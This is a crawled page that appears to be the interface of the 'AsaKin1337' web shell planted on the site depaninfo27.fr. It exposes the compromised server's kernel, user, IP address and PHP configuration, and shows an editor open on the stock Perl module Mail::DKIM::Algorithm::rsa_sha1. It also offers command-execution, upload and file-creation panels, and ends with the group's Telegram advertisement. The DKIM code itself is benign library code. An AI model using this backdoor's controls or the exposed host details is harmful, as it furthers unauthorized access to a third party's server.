depaninfo27.fr - AsaKin1337 WebShells

! AsaKin1337 WebShells Priv8 Version !
Safe-mode: OFF (not secure) Disable Functions: None Host: Linux vps90796 5.10.70 #1 SMP Mon Nov 22 15:13:33 CET 2021 x86_64 User: web39 Software: Apache IP: 185.98.128.85 PHP: 8.3.12 CURL:ON SSH2:OFF Magic Quotes:OFF MySQL:ON MSSQL:OFF PostgreSQL:OFF Oracle:OFF CGI:OFF /usr/share/perl5/Mail/DKIM/Algorithm/

Edit File: rsa_sha1.pm

package Mail::DKIM::Algorithm::rsa_sha1;
use strict;
use warnings;
our $VERSION = '1.20230212'; # VERSION
# ABSTRACT: rsa sha1 algorithm class

# Copyright (c) 2004 Anthony D. Urso. All rights reserved.
# This program is free software; you can redistribute it and/or
# modify it under the same terms as Perl itself.

use base 'Mail::DKIM::Algorithm::Base';
use Carp;
use MIME::Base64;
use Digest::SHA;

sub init_digests {
    my $self = shift;

# initialize a SHA-1 Digest
    $self->{header_digest} = Digest::SHA->new(1);
    $self->{body_digest}   = Digest::SHA->new(1);
}

sub sign {
    my $self = shift;
    croak 'wrong number of arguments' unless ( @_ == 1 );
    my ($private_key) = @_;

my $digest = $self->{header_digest}->digest;
    my $signature = $private_key->sign_digest( 'SHA-1', $digest );

return encode_base64( $signature, '' );
}

sub verify {
    my $self = shift;
    croak 'wrong number of arguments' unless ( @_ == 0 );

my $base64     = $self->signature->data;
    my $public_key = $self->signature->get_public_key;

my $sig    = decode_base64($base64);
    my $digest = $self->{header_digest}->digest;
    return unless $public_key->verify_digest( 'SHA-1', $digest, $sig );
    return $self->check_body_hash;
}

sub wants_pre_signature_headers {
    return 1;
}

__END__

=pod

=encoding UTF-8

=head1 NAME

Mail::DKIM::Algorithm::rsa_sha1 - rsa sha1 algorithm class

=head1 VERSION

version 1.20230212

=head1 AUTHORS

=over 4

=item *

Jason Long <jason@long.name>

=item *

Marc Bradshaw <marc@marcbradshaw.net>

=item *

Bron Gondwana <brong@fastmailteam.com> (ARC)

=back

=head1 THANKS

Work on ensuring that this module passes the ARC test suite was
generously sponsored by Valimail (https://www.valimail.com/)

=head1 COPYRIGHT AND LICENSE

=over 4

=item *

=back

This library is free software; you can redistribute it and/or modify
it under the same terms as Perl itself, either Perl version 5.8.6 or,
at your option, any later version of Perl 5 you may have available.

=cut

Cancel

Listing directory:

:: Command Execute ::
Enter Command:	Select Command:

:: Search ::

:: Upload ::

:: Make Dir ::

:: Make File ::

--[ AsaKin1337 WebShells Priv8 Version5 (01.07.2025) SINDIKAT 777 TEAM | https://t.me/AsaKin1337 | Generation time: 1779996310.316 ]--